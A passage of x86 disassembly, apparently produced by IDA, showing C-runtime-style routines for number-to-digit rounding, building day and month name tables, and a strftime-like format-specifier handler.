		call	sub_433110
		add	esp, 4
		jmp	short loc_4341DD
; ---------------------------------------------------------------------------


loc_4341FA:				; CODE XREF: sub_433EA0+34Aj
		cmp	[ebp+var_2E+2],	0
		jge	short loc_43422C
		mov	eax, [ebp+var_2E+2]
		neg	eax
		and	eax, 0FFh
		mov	[ebp+var_74], eax
		jmp	short loc_434218
; ---------------------------------------------------------------------------


loc_43420F:				; CODE XREF: sub_433EA0+38Aj
		mov	ecx, [ebp+var_74]
		sub	ecx, 1
		mov	[ebp+var_74], ecx


loc_434218:				; CODE XREF: sub_433EA0+36Dj
		cmp	[ebp+var_74], 0
		jle	short loc_43422C
		lea	edx, [ebp+var_38]
		push	edx
		call	sub_433170
		add	esp, 4
		jmp	short loc_43420F
; ---------------------------------------------------------------------------


loc_43422C:				; CODE XREF: sub_433EA0+35Ej
					; sub_433EA0+37Cj
		mov	eax, [ebp+arg_14]
		add	eax, 4
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+arg_C]
		add	ecx, 1
		mov	[ebp+var_10], ecx
		jmp	short loc_434249
; ---------------------------------------------------------------------------


loc_434240:				; CODE XREF: sub_433EA0+413j
		mov	edx, [ebp+var_10]
		sub	edx, 1
		mov	[ebp+var_10], edx


loc_434249:				; CODE XREF: sub_433EA0+39Ej
		cmp	[ebp+var_10], 0
		jle	short loc_4342B5
		mov	eax, [ebp+var_38]
		mov	[ebp+var_1C], eax
		mov	ecx, [ebp-34h]
		mov	[ebp+var_18], ecx
		mov	edx, [ebp+var_32+2]
		mov	[ebp+var_14], edx
		lea	eax, [ebp+var_38]
		push	eax
		call	sub_433110
		add	esp, 4
		lea	ecx, [ebp+var_38]
		push	ecx
		call	sub_433110
		add	esp, 4
		lea	edx, [ebp+var_1C]
		push	edx
		lea	eax, [ebp+var_38]
		push	eax
		call	sub_433060
		add	esp, 8
		lea	ecx, [ebp+var_38]
		push	ecx
		call	sub_433110
		add	esp, 4
		mov	edx, [ebp+var_2E+1]
		and	edx, 0FFh
		add	edx, 30h
		mov	eax, [ebp+var_4]
		mov	[eax], dl
		mov	ecx, [ebp+var_4]
		add	ecx, 1
		mov	[ebp+var_4], ecx
		mov	byte ptr [ebp+var_2E+1], 0
		jmp	short loc_434240
; ---------------------------------------------------------------------------


loc_4342B5:				; CODE XREF: sub_433EA0+3ADj
		mov	edx, [ebp+var_4]
		sub	edx, 1
		mov	[ebp+var_4], edx
		mov	eax, [ebp+var_4]
		mov	cl, [eax]
		mov	[ebp+var_28], cl
		mov	edx, [ebp+var_4]
		sub	edx, 1
		mov	[ebp+var_4], edx
		movsx	eax, [ebp+var_28]
		cmp	eax, 35h
		jl	short loc_434333
		jmp	short loc_4342E3
; ---------------------------------------------------------------------------


loc_4342DA:				; CODE XREF: sub_433EA0+45Fj
		mov	ecx, [ebp+var_4]
		sub	ecx, 1
		mov	[ebp+var_4], ecx


loc_4342E3:				; CODE XREF: sub_433EA0+438j
		mov	edx, [ebp+arg_14]
		add	edx, 4
		cmp	[ebp+var_4], edx
		jb	short loc_434301
		mov	eax, [ebp+var_4]
		movsx	ecx, byte ptr [eax]
		cmp	ecx, 39h
		jnz	short loc_434301
		mov	edx, [ebp+var_4]
		mov	byte ptr [edx],	30h
		jmp	short loc_4342DA
; ---------------------------------------------------------------------------


loc_434301:				; CODE XREF: sub_433EA0+44Cj
					; sub_433EA0+457j
		mov	eax, [ebp+arg_14]
		add	eax, 4
		cmp	[ebp+var_4], eax
		jnb	short loc_434325
		mov	ecx, [ebp+var_4]
		add	ecx, 1
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+arg_14]
		mov	ax, [edx]
		add	ax, 1
		mov	ecx, [ebp+arg_14]
		mov	[ecx], ax


loc_434325:				; CODE XREF: sub_433EA0+46Aj
		mov	edx, [ebp+var_4]
		mov	al, [edx]
		add	al, 1
		mov	ecx, [ebp+var_4]
		mov	[ecx], al
		jmp	short loc_43438C
; ---------------------------------------------------------------------------


loc_434333:				; CODE XREF: sub_433EA0+436j
		jmp	short loc_43433E
; ---------------------------------------------------------------------------


loc_434335:				; CODE XREF: sub_433EA0+4B4j
		mov	edx, [ebp+var_4]
		sub	edx, 1
		mov	[ebp+var_4], edx


loc_43433E:				; CODE XREF: sub_433EA0:loc_434333j
		mov	eax, [ebp+arg_14]
		add	eax, 4
		cmp	[ebp+var_4], eax
		jb	short loc_434356
		mov	ecx, [ebp+var_4]
		movsx	edx, byte ptr [ecx]
		cmp	edx, 30h
		jnz	short loc_434356
		jmp	short loc_434335
; ---------------------------------------------------------------------------


loc_434356:				; CODE XREF: sub_433EA0+4A7j
					; sub_433EA0+4B2j
		mov	eax, [ebp+arg_14]
		add	eax, 4
		cmp	[ebp+var_4], eax
		jnb	short loc_43438C
		mov	ecx, [ebp+arg_14]
		mov	word ptr [ecx],	0
		mov	edx, [ebp+arg_14]
		mov	byte ptr [edx+2], 20h
		mov	eax, [ebp+arg_14]
		mov	byte ptr [eax+3], 1
		mov	ecx, [ebp+arg_14]
		mov	byte ptr [ecx+4], 30h
		mov	edx, [ebp+arg_14]
		mov	byte ptr [edx+5], 0
		mov	eax, 1
		jmp	short loc_4343B2
; ---------------------------------------------------------------------------


loc_43438C:				; CODE XREF: sub_433EA0+491j
					; sub_433EA0+4BFj
		mov	eax, [ebp+arg_14]
		add	eax, 4
		mov	ecx, [ebp+var_4]
		sub	ecx, eax
		add	ecx, 1
		mov	edx, [ebp+arg_14]
		mov	[edx+3], cl
		mov	eax, [ebp+arg_14]
		movsx	ecx, byte ptr [eax+3]
		mov	edx, [ebp+arg_14]
		mov	byte ptr [edx+ecx+4], 0


loc_4343AF:				; CODE XREF: sub_433EA0:loc_434081j
		mov	eax, [ebp+var_58]


loc_4343B2:				; CODE XREF: sub_433EA0+E7j
					; sub_433EA0+30Cj ...
		mov	esp, ebp
		pop	ebp
		retn
sub_433EA0	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	esi
		mov	eax, ds:off_450F58
		mov	[ebp-0Ch], eax
		mov	dword ptr [ebp-8], 0
		mov	dword ptr [ebp-10h], 0
		jmp	short loc_4343E8
; ---------------------------------------------------------------------------


loc_4343DF:				; CODE XREF: seg000:0043441Fj
		mov	ecx, [ebp-10h]
		add	ecx, 1
		mov	[ebp-10h], ecx


loc_4343E8:				; CODE XREF: seg000:004343DDj
		cmp	dword ptr [ebp-10h], 7
		jnb	short loc_434421
		mov	edx, [ebp-10h]
		mov	eax, [ebp-0Ch]
		mov	ecx, [eax+edx*4]
		push	ecx
		call	sub_41AC70
		add	esp, 4
		mov	esi, eax
		mov	edx, [ebp-10h]
		mov	eax, [ebp-0Ch]
		mov	ecx, [eax+edx*4+1Ch]
		push	ecx
		call	sub_41AC70
		add	esp, 4
		add	eax, [ebp-8]
		lea	edx, [eax+esi+2]
		mov	[ebp-8], edx
		jmp	short loc_4343DF
; ---------------------------------------------------------------------------


loc_434421:				; CODE XREF: seg000:004343ECj
		mov	eax, [ebp-8]
		add	eax, 1
		push	eax
		call	sub_41AE40
		add	esp, 4
		mov	[ebp-4], eax
		cmp	dword ptr [ebp-4], 0
		jz	loc_4344D9
		mov	ecx, [ebp-4]
		mov	[ebp-14h], ecx
		mov	dword ptr [ebp-10h], 0
		jmp	short loc_434455
; ---------------------------------------------------------------------------


loc_43444C:				; CODE XREF: seg000:004344C8j
		mov	edx, [ebp-10h]
		add	edx, 1
		mov	[ebp-10h], edx


loc_434455:				; CODE XREF: seg000:0043444Aj
		cmp	dword ptr [ebp-10h], 7
		jnb	short loc_4344CA
		mov	eax, [ebp-14h]
		mov	byte ptr [eax],	3Ah
		mov	ecx, [ebp-14h]
		add	ecx, 1
		mov	[ebp-14h], ecx
		mov	edx, [ebp-10h]
		mov	eax, [ebp-0Ch]
		mov	ecx, [eax+edx*4]
		push	ecx
		mov	edx, [ebp-14h]
		push	edx
		call	sub_41E550
		add	esp, 8
		push	eax
		call	sub_41AC70
		add	esp, 4
		mov	ecx, [ebp-14h]
		add	ecx, eax
		mov	[ebp-14h], ecx
		mov	edx, [ebp-14h]
		mov	byte ptr [edx],	3Ah
		mov	eax, [ebp-14h]
		add	eax, 1
		mov	[ebp-14h], eax
		mov	ecx, [ebp-10h]
		mov	edx, [ebp-0Ch]
		mov	eax, [edx+ecx*4+1Ch]
		push	eax
		mov	ecx, [ebp-14h]
		push	ecx
		call	sub_41E550
		add	esp, 8
		push	eax
		call	sub_41AC70
		add	esp, 4
		mov	edx, [ebp-14h]
		add	edx, eax
		mov	[ebp-14h], edx
		jmp	short loc_43444C
; ---------------------------------------------------------------------------


loc_4344CA:				; CODE XREF: seg000:00434459j
		mov	eax, [ebp-14h]
		mov	byte ptr [eax],	0
		mov	ecx, [ebp-14h]
		add	ecx, 1
		mov	[ebp-14h], ecx


loc_4344D9:				; CODE XREF: seg000:00434437j
		mov	eax, [ebp-4]
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	esi
		mov	eax, ds:off_450F58
		mov	[ebp-0Ch], eax
		mov	dword ptr [ebp-8], 0
		mov	dword ptr [ebp-10h], 0
		jmp	short loc_434518
; ---------------------------------------------------------------------------


loc_43450F:				; CODE XREF: seg000:00434550j
		mov	ecx, [ebp-10h]
		add	ecx, 1
		mov	[ebp-10h], ecx


loc_434518:				; CODE XREF: seg000:0043450Dj
		cmp	dword ptr [ebp-10h], 0Ch
		jnb	short loc_434552
		mov	edx, [ebp-10h]
		mov	eax, [ebp-0Ch]
		mov	ecx, [eax+edx*4+38h]
		push	ecx
		call	sub_41AC70
		add	esp, 4
		mov	esi, eax
		mov	edx, [ebp-10h]
		mov	eax, [ebp-0Ch]
		mov	ecx, [eax+edx*4+68h]
		push	ecx
		call	sub_41AC70
		add	esp, 4
		add	eax, [ebp-8]
		lea	edx, [eax+esi+2]
		mov	[ebp-8], edx
		jmp	short loc_43450F
; ---------------------------------------------------------------------------


loc_434552:				; CODE XREF: seg000:0043451Cj
		mov	eax, [ebp-8]
		add	eax, 1
		push	eax
		call	sub_41AE40
		add	esp, 4
		mov	[ebp-4], eax
		cmp	dword ptr [ebp-4], 0
		jz	loc_43460B
		mov	ecx, [ebp-4]
		mov	[ebp-14h], ecx
		mov	dword ptr [ebp-10h], 0
		jmp	short loc_434586
; ---------------------------------------------------------------------------


loc_43457D:				; CODE XREF: seg000:004345FAj
		mov	edx, [ebp-10h]
		add	edx, 1
		mov	[ebp-10h], edx


loc_434586:				; CODE XREF: seg000:0043457Bj
		cmp	dword ptr [ebp-10h], 0Ch
		jnb	short loc_4345FC
		mov	eax, [ebp-14h]
		mov	byte ptr [eax],	3Ah
		mov	ecx, [ebp-14h]
		add	ecx, 1
		mov	[ebp-14h], ecx
		mov	edx, [ebp-10h]
		mov	eax, [ebp-0Ch]
		mov	ecx, [eax+edx*4+38h]
		push	ecx
		mov	edx, [ebp-14h]
		push	edx
		call	sub_41E550
		add	esp, 8
		push	eax
		call	sub_41AC70
		add	esp, 4
		mov	ecx, [ebp-14h]
		add	ecx, eax
		mov	[ebp-14h], ecx
		mov	edx, [ebp-14h]
		mov	byte ptr [edx],	3Ah
		mov	eax, [ebp-14h]
		add	eax, 1
		mov	[ebp-14h], eax
		mov	ecx, [ebp-10h]
		mov	edx, [ebp-0Ch]
		mov	eax, [edx+ecx*4+68h]
		push	eax
		mov	ecx, [ebp-14h]
		push	ecx
		call	sub_41E550
		add	esp, 8
		push	eax
		call	sub_41AC70
		add	esp, 4
		mov	edx, [ebp-14h]
		add	edx, eax
		mov	[ebp-14h], edx
		jmp	short loc_43457D
; ---------------------------------------------------------------------------


loc_4345FC:				; CODE XREF: seg000:0043458Aj
		mov	eax, [ebp-14h]
		mov	byte ptr [eax],	0
		mov	ecx, [ebp-14h]
		add	ecx, 1
		mov	[ebp-14h], ecx


loc_43460B:				; CODE XREF: seg000:00434568j
		mov	eax, [ebp-4]
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	esi
		mov	eax, ds:off_450F58
		mov	[ebp-0Ch], eax
		mov	dword ptr [ebp-8], 0
		mov	dword ptr [ebp-10h], 0
		jmp	short loc_434648
; ---------------------------------------------------------------------------


loc_43463F:				; CODE XREF: seg000:0043467Fj
		mov	ecx, [ebp-10h]
		add	ecx, 1
		mov	[ebp-10h], ecx


loc_434648:				; CODE XREF: seg000:0043463Dj
		cmp	dword ptr [ebp-10h], 7
		jnb	short loc_434681
		mov	edx, [ebp-10h]
		mov	eax, [ebp-0Ch]
		mov	ecx, [eax+edx*4]
		push	ecx
		call	sub_41AC70
		add	esp, 4
		mov	esi, eax
		mov	edx, [ebp-10h]
		mov	eax, [ebp-0Ch]
		mov	ecx, [eax+edx*4+1Ch]
		push	ecx
		call	sub_41AC70
		add	esp, 4
		add	eax, [ebp-8]
		lea	edx, [eax+esi+2]
		mov	[ebp-8], edx
		jmp	short loc_43463F
; ---------------------------------------------------------------------------


loc_434681:				; CODE XREF: seg000:0043464Cj
		mov	dword ptr [ebp-10h], 0
		jmp	short loc_434693
; ---------------------------------------------------------------------------


loc_43468A:				; CODE XREF: seg000:004346CBj
		mov	eax, [ebp-10h]
		add	eax, 1
		mov	[ebp-10h], eax


loc_434693:				; CODE XREF: seg000:00434688j
		cmp	dword ptr [ebp-10h], 0Ch
		jnb	short loc_4346CD
		mov	ecx, [ebp-10h]
		mov	edx, [ebp-0Ch]
		mov	eax, [edx+ecx*4+38h]
		push	eax
		call	sub_41AC70
		add	esp, 4
		mov	esi, eax
		mov	ecx, [ebp-10h]
		mov	edx, [ebp-0Ch]
		mov	eax, [edx+ecx*4+68h]
		push	eax
		call	sub_41AC70
		add	esp, 4
		add	eax, [ebp-8]
		lea	ecx, [eax+esi+2]
		mov	[ebp-8], ecx
		jmp	short loc_43468A
; ---------------------------------------------------------------------------


loc_4346CD:				; CODE XREF: seg000:00434697j
		mov	edx, [ebp-0Ch]
		mov	eax, [edx+98h]
		push	eax
		call	sub_41AC70
		add	esp, 4
		mov	esi, eax
		mov	ecx, [ebp-0Ch]
		mov	edx, [ecx+9Ch]
		push	edx
		call	sub_41AC70
		add	esp, 4
		add	eax, [ebp-8]
		lea	eax, [eax+esi+2]
		mov	[ebp-8], eax
		mov	ecx, [ebp-0Ch]
		mov	edx, [ecx+0A0h]
		push	edx
		call	sub_41AC70
		add	esp, 4
		mov	ecx, [ebp-8]
		lea	edx, [ecx+eax+1]
		mov	[ebp-8], edx
		mov	eax, [ebp-0Ch]
		mov	ecx, [eax+0A4h]
		push	ecx
		call	sub_41AC70
		add	esp, 4
		mov	edx, [ebp-8]
		lea	eax, [edx+eax+1]
		mov	[ebp-8], eax
		mov	ecx, [ebp-0Ch]
		mov	edx, [ecx+0A8h]
		push	edx
		call	sub_41AC70
		add	esp, 4
		mov	ecx, [ebp-8]
		lea	edx, [ecx+eax+1]
		mov	[ebp-8], edx
		mov	eax, [ebp-8]
		add	eax, 0ACh
		push	eax
		call	sub_41AE40
		add	esp, 4
		mov	[ebp-4], eax
		cmp	dword ptr [ebp-4], 0
		jz	loc_434986
		mov	ecx, [ebp-4]
		mov	[ebp-18h], ecx
		mov	edx, [ebp-4]
		add	edx, 0ACh
		mov	[ebp-14h], edx
		push	0ACh
		mov	eax, ds:off_450F58
		push	eax
		mov	ecx, [ebp-4]
		push	ecx
		call	sub_41E840
		add	esp, 0Ch
		mov	dword ptr [ebp-10h], 0
		jmp	short loc_4347AA
; ---------------------------------------------------------------------------


loc_4347A1:				; CODE XREF: seg000:0043481Cj
		mov	edx, [ebp-10h]
		add	edx, 1
		mov	[ebp-10h], edx


loc_4347AA:				; CODE XREF: seg000:0043479Fj
		cmp	dword ptr [ebp-10h], 7
		jnb	short loc_43481E
		mov	eax, [ebp-10h]
		mov	ecx, [ebp-18h]
		mov	edx, [ebp-14h]
		mov	[ecx+eax*4], edx
		mov	eax, [ebp-10h]
		mov	ecx, [ebp-0Ch]
		mov	edx, [ecx+eax*4]
		push	edx
		mov	eax, [ebp-14h]
		push	eax
		call	sub_41E550
		add	esp, 8
		push	eax
		call	sub_41AC70
		add	esp, 4
		mov	ecx, [ebp-14h]
		lea	edx, [ecx+eax+1]
		mov	[ebp-14h], edx
		mov	eax, [ebp-10h]
		mov	ecx, [ebp-18h]
		mov	edx, [ebp-14h]
		mov	[ecx+eax*4+1Ch], edx
		mov	eax, [ebp-10h]
		mov	ecx, [ebp-0Ch]
		mov	edx, [ecx+eax*4+1Ch]
		push	edx
		mov	eax, [ebp-14h]
		push	eax
		call	sub_41E550
		add	esp, 8
		push	eax
		call	sub_41AC70
		add	esp, 4
		mov	ecx, [ebp-14h]
		lea	edx, [ecx+eax+1]
		mov	[ebp-14h], edx
		jmp	short loc_4347A1
; ---------------------------------------------------------------------------


loc_43481E:				; CODE XREF: seg000:004347AEj
		mov	dword ptr [ebp-10h], 0
		jmp	short loc_434830
; ---------------------------------------------------------------------------


loc_434827:				; CODE XREF: seg000:004348A4j
		mov	eax, [ebp-10h]
		add	eax, 1
		mov	[ebp-10h], eax


loc_434830:				; CODE XREF: seg000:00434825j
		cmp	dword ptr [ebp-10h], 0Ch
		jnb	short loc_4348A6
		mov	ecx, [ebp-10h]
		mov	edx, [ebp-18h]
		mov	eax, [ebp-14h]
		mov	[edx+ecx*4+38h], eax
		mov	ecx, [ebp-10h]
		mov	edx, [ebp-0Ch]
		mov	eax, [edx+ecx*4+38h]
		push	eax
		mov	ecx, [ebp-14h]
		push	ecx
		call	sub_41E550
		add	esp, 8
		push	eax
		call	sub_41AC70
		add	esp, 4
		mov	edx, [ebp-14h]
		lea	eax, [edx+eax+1]
		mov	[ebp-14h], eax
		mov	ecx, [ebp-10h]
		mov	edx, [ebp-18h]
		mov	eax, [ebp-14h]
		mov	[edx+ecx*4+68h], eax
		mov	ecx, [ebp-10h]
		mov	edx, [ebp-0Ch]
		mov	eax, [edx+ecx*4+68h]
		push	eax
		mov	ecx, [ebp-14h]
		push	ecx
		call	sub_41E550
		add	esp, 8
		push	eax
		call	sub_41AC70
		add	esp, 4
		mov	edx, [ebp-14h]
		lea	eax, [edx+eax+1]
		mov	[ebp-14h], eax
		jmp	short loc_434827
; ---------------------------------------------------------------------------


loc_4348A6:				; CODE XREF: seg000:00434834j
		mov	ecx, [ebp-18h]
		mov	edx, [ebp-14h]
		mov	[ecx+98h], edx
		mov	eax, [ebp-0Ch]
		mov	ecx, [eax+98h]
		push	ecx
		mov	edx, [ebp-14h]
		push	edx
		call	sub_41E550
		add	esp, 8
		push	eax
		call	sub_41AC70
		add	esp, 4
		mov	ecx, [ebp-14h]
		lea	edx, [ecx+eax+1]
		mov	[ebp-14h], edx
		mov	eax, [ebp-18h]
		mov	ecx, [ebp-14h]
		mov	[eax+9Ch], ecx
		mov	edx, [ebp-0Ch]
		mov	eax, [edx+9Ch]
		push	eax
		mov	ecx, [ebp-14h]
		push	ecx
		call	sub_41E550
		add	esp, 8
		push	eax
		call	sub_41AC70
		add	esp, 4
		mov	edx, [ebp-14h]
		lea	eax, [edx+eax+1]
		mov	[ebp-14h], eax
		mov	ecx, [ebp-18h]
		mov	edx, [ebp-14h]
		mov	[ecx+0A0h], edx
		mov	eax, [ebp-0Ch]
		mov	ecx, [eax+0A0h]
		push	ecx
		mov	edx, [ebp-14h]
		push	edx
		call	sub_41E550
		add	esp, 8
		push	eax
		call	sub_41AC70
		add	esp, 4
		mov	ecx, [ebp-14h]
		lea	edx, [ecx+eax+1]
		mov	[ebp-14h], edx
		mov	eax, [ebp-18h]
		mov	ecx, [ebp-14h]
		mov	[eax+0A4h], ecx
		mov	edx, [ebp-0Ch]
		mov	eax, [edx+0A4h]
		push	eax
		mov	ecx, [ebp-14h]
		push	ecx
		call	sub_41E550
		add	esp, 8
		push	eax
		call	sub_41AC70
		add	esp, 4
		mov	edx, [ebp-14h]
		lea	eax, [edx+eax+1]
		mov	[ebp-14h], eax
		mov	ecx, [ebp-18h]
		mov	edx, [ebp-14h]
		mov	[ecx+0A8h], edx


loc_434986:				; CODE XREF: seg000:00434769j
		mov	eax, [ebp-4]
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	0
		mov	eax, [ebp+14h]
		push	eax
		mov	ecx, [ebp+10h]
		push	ecx
		mov	edx, [ebp+0Ch]
		push	edx
		mov	eax, [ebp+8]
		push	eax
		call	sub_4349B0
		add	esp, 14h
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4349B0	proc near		; CODE XREF: seg000:004349A5p

var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		cmp	[ebp+arg_10], 0
		jnz	short loc_4349C6
		mov	eax, ds:off_450F58
		mov	[ebp+var_10], eax
		jmp	short loc_4349CC
; ---------------------------------------------------------------------------


loc_4349C6:				; CODE XREF: sub_4349B0+Aj
		mov	ecx, [ebp+arg_10]
		mov	[ebp+var_10], ecx


loc_4349CC:				; CODE XREF: sub_4349B0+14j
		mov	edx, [ebp+var_10]
		mov	[ebp+var_4], edx
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_C], eax
		push	offset dword_4EED14
		call	ds:dword_4F1428	; InterlockedIncrement
		cmp	ds:dword_4EED10, 0
		jz	short loc_434A0A
		push	offset dword_4EED14
		call	ds:dword_4F1424	; InterlockedDecrement
		push	13h
		call	sub_421A80
		add	esp, 4
		mov	[ebp+var_8], 1
		jmp	short loc_434A11
; ---------------------------------------------------------------------------


loc_434A0A:				; CODE XREF: sub_4349B0+3Aj
		mov	[ebp+var_8], 0


loc_434A11:				; CODE XREF: sub_4349B0+58j
					; sub_4349B0:loc_434AFDj
		cmp	[ebp+var_C], 0
		jbe	loc_434B02
		mov	ecx, [ebp+arg_8]
		mov	dl, [ecx]
		mov	[ebp+var_14], dl
		cmp	[ebp+var_14], 0
		jz	short loc_434A31
		cmp	[ebp+var_14], 25h
		jz	short loc_434A36
		jmp	short loc_434A90
; ---------------------------------------------------------------------------


loc_434A31:				; CODE XREF: sub_4349B0+77j
		jmp	loc_434B02
; ---------------------------------------------------------------------------


loc_434A36:				; CODE XREF: sub_4349B0+7Dj
		mov	eax, [ebp+arg_8]
		add	eax, 1
		mov	[ebp+arg_8], eax
		mov	ds:dword_4EED08, 0
		mov	ecx, [ebp+arg_8]
		movsx	edx, byte ptr [ecx]
		cmp	edx, 23h
		jnz	short loc_434A67
		mov	ds:dword_4EED08, 1
		mov	eax, [ebp+arg_8]
		add	eax, 1
		mov	[ebp+arg_8], eax


loc_434A67:				; CODE XREF: sub_4349B0+A2j
		mov	ecx, [ebp+var_4]
		push	ecx
		lea	edx, [ebp+var_C]
		push	edx
		lea	eax, [ebp+arg_0]
		push	eax
		mov	ecx, [ebp+arg_C]
		push	ecx
		mov	edx, [ebp+arg_8]
		mov	al, [edx]
		push	eax
		call	sub_434B40
		add	esp, 14h
		mov	ecx, [ebp+arg_8]
		add	ecx, 1
		mov	[ebp+arg_8], ecx
		jmp	short loc_434AFD
; ---------------------------------------------------------------------------


loc_434A90:				; CODE XREF: sub_4349B0+7Fj
		mov	edx, [ebp+arg_8]
		xor	eax, eax
		mov	al, [edx]
		mov	ecx, ds:off_44FE2C
		xor	edx, edx
		mov	dx, [ecx+eax*2]
		and	edx, 8000h
		test	edx, edx
		jz	short loc_434AD8
		cmp	[ebp+var_C], 1
		jbe	short loc_434AD8
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+arg_8]
		mov	dl, [ecx]
		mov	[eax], dl
		mov	eax, [ebp+arg_0]
		add	eax, 1
		mov	[ebp+arg_0], eax
		mov	ecx, [ebp+arg_8]
		add	ecx, 1
		mov	[ebp+arg_8], ecx
		mov	edx, [ebp+var_C]
		sub	edx, 1
		mov	[ebp+var_C], edx


loc_434AD8:				; CODE XREF: sub_4349B0+FBj
					; sub_4349B0+101j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+arg_8]
		mov	dl, [ecx]
		mov	[eax], dl
		mov	eax, [ebp+arg_0]
		add	eax, 1
		mov	[ebp+arg_0], eax
		mov	ecx, [ebp+arg_8]
		add	ecx, 1
		mov	[ebp+arg_8], ecx
		mov	edx, [ebp+var_C]
		sub	edx, 1
		mov	[ebp+var_C], edx


loc_434AFD:				; CODE XREF: sub_4349B0+DEj
		jmp	loc_434A11
; ---------------------------------------------------------------------------


loc_434B02:				; CODE XREF: sub_4349B0+65j
					; sub_4349B0:loc_434A31j
		cmp	[ebp+var_8], 0
		jz	short loc_434B14
		push	13h
		call	sub_421B20
		add	esp, 4
		jmp	short loc_434B1F
; ---------------------------------------------------------------------------


loc_434B14:				; CODE XREF: sub_4349B0+156j
		push	offset dword_4EED14
		call	ds:dword_4F1424	; InterlockedDecrement


loc_434B1F:				; CODE XREF: sub_4349B0+162j
		cmp	[ebp+var_C], 0
		jbe	short loc_434B33
		mov	eax, [ebp+arg_0]
		mov	byte ptr [eax],	0
		mov	eax, [ebp+arg_4]
		sub	eax, [ebp+var_C]
		jmp	short loc_434B35
; ---------------------------------------------------------------------------


loc_434B33:				; CODE XREF: sub_4349B0+173j
		xor	eax, eax


loc_434B35:				; CODE XREF: sub_4349B0+181j
		mov	esp, ebp
		pop	ebp
		retn
sub_4349B0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_434B40	proc near		; CODE XREF: sub_4349B0+CDp
					; sub_435310+3ECp

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= byte ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		movsx	eax, [ebp+arg_0]
		mov	[ebp+var_C], eax
		mov	ecx, [ebp+var_C]
		sub	ecx, 25h
		mov	[ebp+var_C], ecx
		cmp	[ebp+var_C], 55h
		ja	loc_4350A8
		mov	eax, [ebp+var_C]
		xor	edx, edx
		mov	dl, ds:byte_435109[eax]
		jmp	ds:off_4350AD[edx*4]


loc_434B73:				; DATA XREF: seg000:004350DDo
		mov	ecx, [ebp+arg_C]
		push	ecx
		mov	edx, [ebp+arg_8]
		push	edx
		mov	eax, [ebp+arg_4]
		mov	ecx, [eax+18h]
		mov	edx, [ebp+arg_10]
		mov	eax, [edx+ecx*4]
		push	eax
		call	sub_435160
		add	esp, 0Ch
		jmp	loc_4350A8
; ---------------------------------------------------------------------------


loc_434B95:				; CODE XREF: sub_434B40+2Cj
					; DATA XREF: seg000:004350B1o
		mov	ecx, [ebp+arg_C]
		push	ecx
		mov	edx, [ebp+arg_8]
		push	edx
		mov	eax, [ebp+arg_4]
		mov	ecx, [eax+18h]
		mov	edx, [ebp+arg_10]
		mov	eax, [edx+ecx*4+1Ch]
		push	eax
		call	sub_435160
		add	esp, 0Ch
		jmp	loc_4350A8
; ---------------------------------------------------------------------------


loc_434BB8:				; CODE XREF: sub_434B40+2Cj
					; DATA XREF: seg000:004350E1o
		mov	ecx, [ebp+arg_C]
		push	ecx
		mov	edx, [ebp+arg_8]
		push	edx
		mov	eax, [ebp+arg_4]
		mov	ecx, [eax+10h]
		mov	edx, [ebp+arg_10]
		mov	eax, [edx+ecx*4+38h]
		push	eax
		call	sub_435160
		add	esp, 0Ch
		jmp	loc_4350A8
; ---------------------------------------------------------------------------


loc_434BDB:				; CODE XREF: sub_434B40+2Cj
					; DATA XREF: seg000:004350B5o
		mov	ecx, [ebp+arg_C]
		push	ecx
		mov	edx, [ebp+arg_8]
		push	edx
		mov	eax, [ebp+arg_4]
		mov	ecx, [eax+10h]
		mov	edx, [ebp+arg_10]
		mov	eax, [edx+ecx*4+68h]
		push	eax
		call	sub_435160
		add	esp, 0Ch
		jmp	loc_4350A8
; ---------------------------------------------------------------------------


loc_434BFE:				; CODE XREF: sub_434B40+2Cj
					; DATA XREF: seg000:004350E5o
		cmp	ds:dword_4EED08, 0
		jz	short loc_434C86
		mov	ds:dword_4EED08, 0
		mov	ecx, [ebp+arg_10]
		push	ecx
		mov	edx, [ebp+arg_C]
		push	edx
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+arg_4]
		push	ecx
		mov	edx, [ebp+arg_10]
		mov	eax, [edx+0A4h]
		push	eax
		call	sub_435310
		add	esp, 14h
		mov	ecx, [ebp+arg_C]
		cmp	dword ptr [ecx], 0
		jnz	short loc_434C40
		jmp	loc_4350A8
; ---------------------------------------------------------------------------


loc_434C40:				; CODE XREF: sub_434B40+F9j
		mov	edx, [ebp+arg_8]
		mov	eax, [edx]
		mov	byte ptr [eax],	20h
		mov	ecx, [ebp+arg_8]
		mov	edx, [ecx]
		add	edx, 1
		mov	eax, [ebp+arg_8]
		mov	[eax], edx
		mov	ecx, [ebp+arg_C]
		mov	edx, [ecx]
		sub	edx, 1
		mov	eax, [ebp+arg_C]
		mov	[eax], edx
		mov	ecx, [ebp+arg_10]
		push	ecx
		mov	edx, [ebp+arg_C]
		push	edx
		mov	eax, [ebp+arg_8]
		push	eax
